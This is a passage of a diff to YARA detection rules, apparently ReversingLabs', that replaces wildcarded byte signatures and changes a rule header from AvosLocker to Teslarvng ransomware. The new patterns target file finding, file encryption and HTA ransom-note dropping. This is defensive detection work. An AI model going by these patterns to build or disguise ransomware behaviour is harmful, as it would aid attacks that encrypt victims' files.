-            50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? BE ?? ??
-            ?? ?? E9 ?? ?? ?? ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? C7
-            44 24 ?? ?? ?? ?? ?? 50 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 3D
-            ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 84 24 ??
-            ?? ?? ?? 50 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 ED 89
-            6C 24 ?? 39 6C 24 ?? 0F 86 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 85 DB 0F 8E ?? ?? ?? ?? C1
-            E5 ?? 8B F3 89 6C 24 ?? 89 5C 24 ?? 0F 1F 84 00 ?? ?? ?? ?? 83 BC 2C ?? ?? ?? ?? ??
-            0F 85 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 74 ?? 8B 84 2C ?? ?? ?? ?? 66 83 78 ?? ?? 8D
-            50 ?? 74 ?? 8D B4 24 ?? ?? ?? ?? 8D 48 ?? 8A 01 8D 52 ?? 88 06 8D 76 ?? 66 83 3A
-        }
-		$enum_resources_1_p2 = {
-            8D 49 ?? 75 ?? 8B 74 24 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50
-            6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B4 2C ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50
-            E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 6A ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
-            ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24 ?? FF 70 ?? 8B 40 ?? 83 E0 ?? 50 8D 84 24 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 74 24 ?? 83 C4 ?? C6 44 24 ?? ?? 8B 56 ??
-            F6 C2 ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66
-            A1 ?? ?? ?? ?? 66 89 41 ?? F6 C2 ?? 74 ?? 8D 4C 24 ?? 49 0F 1F 44 00 ?? 8A 41 ?? 8D
-            49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? A0 ?? ?? ?? ??
-            88 41 ?? F6 C2 ?? 74 ?? 8D 4C 24 ?? 49 0F 1F 00 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ??
-            ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? 66 A1 ?? ?? ?? ?? 66 89 41 ?? A0 ?? ?? ?? ??
-            88 41 ?? F6 C2 ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ??
-            89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F6 C2 ?? 74 ?? 8D 4C 24 ?? 49 66 0F 1F 44 00 ??
-            8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F6
+		$find_files_p1 = {
+            8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8B 7D ?? 2B CA 8B C7 41
+            F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 5F C9 C3 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ??
+            ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ??
+            FF 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 5D ??
+            8B CB E8 ?? ?? ?? ?? 33 FF 89 45 ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 8B 75 ?? 59 EB ??
+            8B 43 ?? 89 30 8B F7 83 43 ?? ?? 57 E8 ?? ?? ?? ?? 59 8B C6 5E 5B EB ?? 33 FF 57 57
+            57 57 57 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89
+            45 ?? 8B 4D ?? 8B 55 ?? 53 57 8B 7D ?? 89 95 ?? ?? ?? ?? 3B CF 74 ?? 8A 01 3C ?? 74
+            ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8B 95 ?? ??
+            ?? ?? 8A 01 88 85 ?? ?? ?? ?? 3C ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 52 33 DB 53 53 57 E8
+            ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 33 DB 3C ?? 74 ?? 3C ?? 74 ??
+            3C ?? 8A C3 75 ?? B0 ?? 2B CF 0F B6 C0 41 89 9D ?? ?? ?? ?? F7 D8 89 9D
         }
-		$enum_resources_1_p3 = {
-            C2 ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 A1 ??
-            ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? F6 C2 ?? 74 ?? 8D
-            4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66
-            89 41 ?? 84 D2 79 ?? 8D 4C 24 ?? 49 0F 1F 40 ?? 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ??
-            ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? 66 A1 ?? ?? ?? ?? 66
-            89 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ??
-            ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41
-            ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 66 90 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ??
-            ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? 66 A1 ?? ?? ?? ?? 66
-            89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D
-            49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41
-            ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 66 90 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ??
-            ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? F7 C2 ?? ?? ?? ?? 74
+		$find_files_p2 = {
+            56 1B C0 89 9D ?? ?? ?? ?? 23 C1 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ??
+            ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4
+            ?? 8D 8D ?? ?? ?? ?? F7 D8 1B C0 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ??
+            ?? ?? ?? 8B F0 83 FE ?? 75 ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B
+            D8 E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D
+            ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ??
+            88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85
+            ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ??
+            75 ?? 8A 48 ?? 84 C9 74 ?? 80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ??
+            ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ??
+            ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ??
+            ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2
+            C1 F8 ?? 3B C8 74 ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4
+            ?? EB ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
+            59 8B D8 56 FF 15 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 5E 74 ?? FF B5 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 59 8B C3 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? C9 C3
         }
-		$enum_resources_2_p1 = {
-            8D 4C 24 ?? 49 66 90 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 A1 ?? ?? ??
-            ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 C2 ?? ?? ?? ??
-            74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 A1 ?? ?? ??
-            ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ??
-            8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 C2 ?? ??
-            ?? ?? 74 ?? 8D 4C 24 ?? 49 66 90 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01
-            66 A1 ?? ?? ?? ?? 66 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C
-            24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89
-            41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ??
-            ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A
-            41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 C2
-            ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01
-            A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? F7 C2 ?? ??
-            ?? ?? 74 ?? 8D 4C 24 ?? 49 66 90 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89
+		$encrypt_files_p1 = {
+            59 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 89 F1 83 C4 ?? 84 C0 0F 85 ?? ?? ?? ??
+            51 E8 ?? ?? ?? ?? 59 B9 ?? ?? ?? ?? 89 D6 6A ?? 5A 56 50 E8 ?? ?? ?? ?? 8D 8C 24 ??
+            ?? ?? ?? 83 C4 ?? 84 C0 0F 85 ?? ?? ?? ?? FF 04 24 51 57 E8 ?? ?? ?? ?? 58 59 8D 8C
+            24 ?? ?? ?? ?? 8D 54 24 ?? 57 E8 ?? ?? ?? ?? 58 83 BC 24 ?? ?? ?? ?? ?? 0F 84 ?? ??
+            ?? ?? 8B 84 24 ?? ?? ?? ?? F2 0F 10 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? A1 ?? ??
+            ?? ?? F2 0F 11 84 24 ?? ?? ?? ?? 8B 00 83 F8 ?? 72 ?? 8D 84 24 ?? ?? ?? ?? C7 84 24
+            ?? ?? ?? ?? ?? ?? ?? ?? 8D 4C 24 ?? 89 44 24 ?? 31 C0 C7 44 24 ?? ?? ?? ?? ?? 40 89
+            84 24 ?? ?? ?? ?? 83 A4 24 ?? ?? ?? ?? ?? 89 8C 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 57 E8
+            ?? ?? ?? ?? 59 89 D6 B9 ?? ?? ?? ?? 6A ?? 5A 56 50 E8 ?? ?? ?? ?? 59 5A 89 F9 89 C3
+            E8 ?? ?? ?? ?? 84 DB 0F 85 ?? ?? ?? ?? 6A ?? 59 8D 7C 24 ?? 8D B4 24 ?? ?? ?? ?? F3
+            A5 6A ?? 59 8D BC 24 ?? ?? ?? ?? 8D 74 24 ?? 31 C0 F3 A5 E9 ?? ?? ?? ?? 8B 84 24 ??
+            ?? ?? ?? 85 C0 74 ?? 8B 8C 24 ?? ?? ?? ?? 50 FF 11 83 C4 ?? 8B 84 24 ?? ?? ?? ?? 8B
+            70 ?? 8B 78 ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 89 C1 89 F2 57 E8 ?? ?? ?? ??
+            58 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 9C 24 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 69
         }
-		$enum_resources_2_p2 = {
-            01 A1 ?? ?? ?? ?? 89 41 ?? 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D
-            4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66
-            89 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ??
-            ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49
-            8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7
-            C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89
-            01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? 85 D2 79
-            ?? 8D 4C 24 ?? 49 66 0F 1F 44 00 ?? 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89
-            01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A0 ?? ??
-            ?? ?? 88 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 66 90 8A 41 ?? 8D 49 ?? 84 C0
-            75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? 8D 4C 24 ?? 8D 51 ?? 8A 01
-            41 84 C0 75 ?? 2B CA 56 88 44 0C ?? FF D7 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 8D
+		$encrypt_files_p2 = {
+            7B ?? ?? ?? ?? ?? 89 C6 83 C6 ?? 85 FF 74 ?? 83 7E ?? ?? 74 ?? 8D 46 ?? 50 E8 ?? ??
+            ?? ?? 58 81 C6 ?? ?? ?? ?? 81 C7 ?? ?? ?? ?? EB ?? 83 7E ?? ?? 74 ?? 83 3E ?? 74 ??
+            8D 4E ?? E8 ?? ?? ?? ?? EB ?? 8D 46 ?? 50 E8 ?? ?? ?? ?? 58 8B 06 F0 FF 08 75 ?? 56
+            E8 ?? ?? ?? ?? EB ?? 53 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 58 59 8B 4C 24 ?? 85 C9 74 ??
+            8B 54 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 58 8D 9C 24 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59
+            6B 5B ?? ?? 89 C7 89 C6 83 C7 ?? 85 DB 74 ?? 8D 4E ?? E8 ?? ?? ?? ?? 83 7E ?? ?? 74
+            ?? 57 E8 ?? ?? ?? ?? 58 83 3F ?? 74 ?? 8D 47 ?? EB ?? 8D 46 ?? 50 E8 ?? ?? ?? ?? 58
+            83 C6 ?? 83 C7 ?? 83 C3 ?? EB ?? 8D 84 24 ?? ?? ?? ?? 50 8D 5C 24 ?? 53 E8 ?? ?? ??
+            ?? 58 59 8B 4C 24 ?? 85 C9 74 ?? 8B 54 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 58 8D B4 24
+            ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 6B 7E ?? ?? 89 C1 85 FF 74 ?? 8D 59 ?? 83 C1 ?? E8
+            ?? ?? ?? ?? 89 D9 83 C7 ?? 8D 5C 24 ?? EB ?? 56 53 E8 ?? ?? ?? ?? 58 59 8B 4C 24 ??
+            85 C9 74 ?? 8B 54 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 58 A1 ?? ?? ?? ?? 8B 00 83 F8 ??
+            72 ?? 89 E0 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 89 C6 89 D7 68 ?? ?? ?? ?? 8D 44
+            24 ?? 50 E8 ?? ?? ?? ?? 59 59 89 B4 24 ?? ?? ?? ?? 89 BC 24 ?? ?? ?? ?? 89 84 24 ??
+            ?? ?? ?? 89 94 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 6A ?? 58 89 44 24 ?? 83 64 24
+            ?? ?? 8D 8C 24 ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ?? 68 ?? ?? ?? ?? 6A ?? 53 E8 ?? ??
+            ?? ?? 83 C4 ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B 7D ?? 8B 77 ?? 83 C7 ?? 8D 4E ?? E8 ??
+            ?? ?? ?? C7 46 ?? ?? ?? ?? ?? 83 66 ?? ?? 89 F9 E8 ?? ?? ?? ?? 8D 65 ?? 5E 5F 5B 5D
+            C3
         }
-		$enum_resources_2_p3 = {
-            84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? FF 74 24 ?? FF D7 8B BC 2C ?? ?? ?? ?? 33 D2
-            8B CF 8D 71 ?? 8A 01 41 84 C0 75 ?? 2B CE 8D 43 ?? 03 C1 74 ?? 8B 6C 24 ?? 8B DF 8B
-            CB 42 8D 71 ?? 0F 1F 00 8A 01 41 84 C0 75 ?? 2B CE 8D 45 ?? 03 C1 3B D0 72 ?? 8B 6C
-            24 ?? 8B 5C 24 ?? 8B CF 33 D2 8D 71 ?? 8A 01 41 84 C0 75 ?? 2B CE 8D 43 ?? 03 C1 74
-            ?? 8B 9C 2C ?? ?? ?? ?? 8B 6C 24 ?? 0F 1F 40 ?? 8B CB 42 8D 71 ?? 8A 01 41 84 C0 75
-            ?? 2B CE 8D 45 ?? 03 C1 3B D0 72 ?? 8B 6C 24 ?? 8B 5C 24 ?? 33 D2 8D 4F ?? 8A 07 47
-            84 C0 75 ?? 2B F9 8D 43 ?? 03 C7 74 ?? 8B BC 2C ?? ?? ?? ?? 0F 1F 40 ?? 8B C7 42 8D
-            70 ?? 8A 08 40 84 C9 75 ?? 2B C6 40 03 C3 3B D0 72 ?? 8B 3D ?? ?? ?? ?? 8B 74 24 ??
-            83 EE ?? 89 74 24 ?? 0F 85 ?? ?? ?? ?? 8B 6C 24 ?? 8B F5 C1 E6 ?? 8B 84 34 ?? ?? ??
-            ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? FF 24 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 94 34 ?? ?? ?? ?? 66 83 3A ?? 75 ?? 33 C9 EB ?? 8B CA
+		$drop_hta_file_p1 = {
+            6A ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? ?? ?? 59 89 D3 89 F9 89
+            C2 53 E8 ?? ?? ?? ?? 58 8D B4 24 ?? ?? ?? ?? 89 F1 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ??
+            ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 58 31 DB 43 53 57 E8 ?? ?? ?? ?? 59
+            5A 53 89 DF 50 E8 ?? ?? ?? ?? 59 5A 8D 5C 24 ?? 89 C2 89 D9 56 E8 ?? ?? ?? ?? 58 39
+            3B 0F 85 ?? ?? ?? ?? F2 0F 10 44 24 ?? A1 ?? ?? ?? ?? 8D 74 24 ?? 8D BC 24 ?? ?? ??
+            ?? F2 0F 11 44 24 ?? 8B 00 83 F8 ?? 72 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 59 89
+            84 24 ?? ?? ?? ?? 31 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 89 94 24 ?? ?? ?? ?? 40 89
+            84 24 ?? ?? ?? ?? 83 A4 24 ?? ?? ?? ?? ?? 89 BC 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 6A ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? ??
+            ?? EB ?? 8B 44 24 ?? 89 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ??
+            8D BC 24 ?? ?? ?? ?? 57 8D B4 24 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 89 F1 E8 ??
+            ?? ?? ?? 57 E8 ?? ?? ?? ?? 58 6A ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 6A
         }
-		$enum_resources_2_p4 = {
-            8D 79 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CF D1 F9 51 52 8D 4C 24 ?? E8 ?? ?? ??
-            ?? 8D 44 24 ?? B9 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 94 34 ?? ?? ?? ??
-            66 83 3A ?? 75 ?? 33 C9 EB ?? 8B CA 8D 79 ?? 0F 1F 44 00 ?? 66 8B 01 83 C1 ?? 66 85
-            C0 75 ?? EB ?? 8B 94 34 ?? ?? ?? ?? 66 83 3A ?? 75 ?? 33 C9 EB ?? 8B CA 8D 79 ?? 66
-            8B 01 83 C1 ?? 66 85 C0 75 ?? EB ?? 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? EB ?? 68 ??
-            ?? ?? ?? EB ?? 68 ?? ?? ?? ?? EB ?? 8B 94 34 ?? ?? ?? ?? 66 83 3A ?? 75 ?? 33 C9 E9
-            ?? ?? ?? ?? 8B CA 8D 79 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? E9 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? F6 84 34 ?? ?? ?? ?? ?? 74 ?? 8D
-            8C 24 ?? ?? ?? ?? 8D 53 ?? 03 CE E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 45 89 6C 24 ?? 3B
-            6C 24 ?? 0F 82 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 33 F6 8B 44 24 ?? 83 F8 ??
-            72 ?? 8B 4C 24 ?? 40 3D ?? ?? ?? ?? 77 ?? 03 C0 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 75 ??
-            8B 41 ?? 3B C1 73 ?? 2B C8 83 F9 ?? 72 ?? 83 F9 ?? 77 ?? 8B C8 51 E8 ?? ?? ?? ?? 83
-            C4 ?? 5F 8B C6 5E 5D 5B 81 C4 ?? ?? ?? ?? C3
+		$drop_hta_file_p2 = {
+            68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D B4 24 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 58
+            31 DB 43 53 56 E8 ?? ?? ?? ?? 59 5A 53 50 E8 ?? ?? ?? ?? 59 5A 8D 74 24 ?? 89 C2 89
+            F1 57 E8 ?? ?? ?? ?? 58 39 1E 0F 85 ?? ?? ?? ?? F2 0F 10 44 24 ?? A1 ?? ?? ?? ?? 8D
+            74 24 ?? F2 0F 11 84 24 ?? ?? ?? ?? 8B 00 83 F8 ?? 72 ?? 68 ?? ?? ?? ?? 8D 84 24 ??
+            ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 89 44 24 ?? 31 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ??
+            89 54 24 ?? 40 89 84 24 ?? ?? ?? ?? 83 A4 24 ?? ?? ?? ?? ?? 89 B4 24 ?? ?? ?? ?? 89
+            84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4
+            ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? EB ?? 8B 44 24 ?? 89 44 24 ?? 68 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 8D 74 24 ?? 56 8D 9C 24 ?? ?? ?? ?? 53 E8 ?? ?? ?? ??
+            83 C4 ?? 89 D9 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 58 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59
+            8D BC 24 ?? ?? ?? ?? 89 C3 89 84 24 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 F9 6A ?? E8 ?? ??
+            ?? ?? 58 83 64 24 ?? ?? 83 64 24 ?? ?? 57 E8 ?? ?? ?? ?? 59 8D 4C 24 ?? 51 56 6A ??
+            68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 53 E8
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($encrypt_files_p*)) and ($find_files) and ( all of ($enum_resources_1_p*)) and ( all of ($enum_resources_2_p*))
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ( all of ($drop_hta_file_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Avoslocker : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Teslarvng : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects AvosLocker ransomware."
+		description = "Yara rule that detects Teslarvng ransomware."
 		author = "ReversingLabs"
-		id = "a803283d-6424-5a64-89e6-c73a3322ba1e"
-		date = "2021-10-22"
-		modified = "2021-10-22"
+		id = "7045b13e-95a5-54da-b540-75d464e7673d"
+		date = "2020-12-14"
+		modified = "2020-12-14"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.AvosLocker.yara#L1-L108"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "4d81b801a95a54a35989c4a985d92578971568d1412f625bca911d0fa1eee1fe"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Teslarvng.yara#L1-L137"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "670621aa196a80fbb694e4b1690d7da60e881c5b826133939e61cd6c2406ea98"
 		score = 75
 		quality = 90
